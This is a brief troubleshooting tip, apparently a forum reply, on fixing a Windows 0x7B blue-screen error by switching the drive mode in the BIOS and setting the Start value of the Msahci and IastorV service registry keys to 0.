Start with F8->disable restart on failure, if the bluscreen error is 0x7b then switch your hard drives to IDE mode in BIOS, then edit these two registry keys:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Msahci
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\IastorV
“Start” must have a value of 0 (loaded by kernel), it is probably 3 (manual)
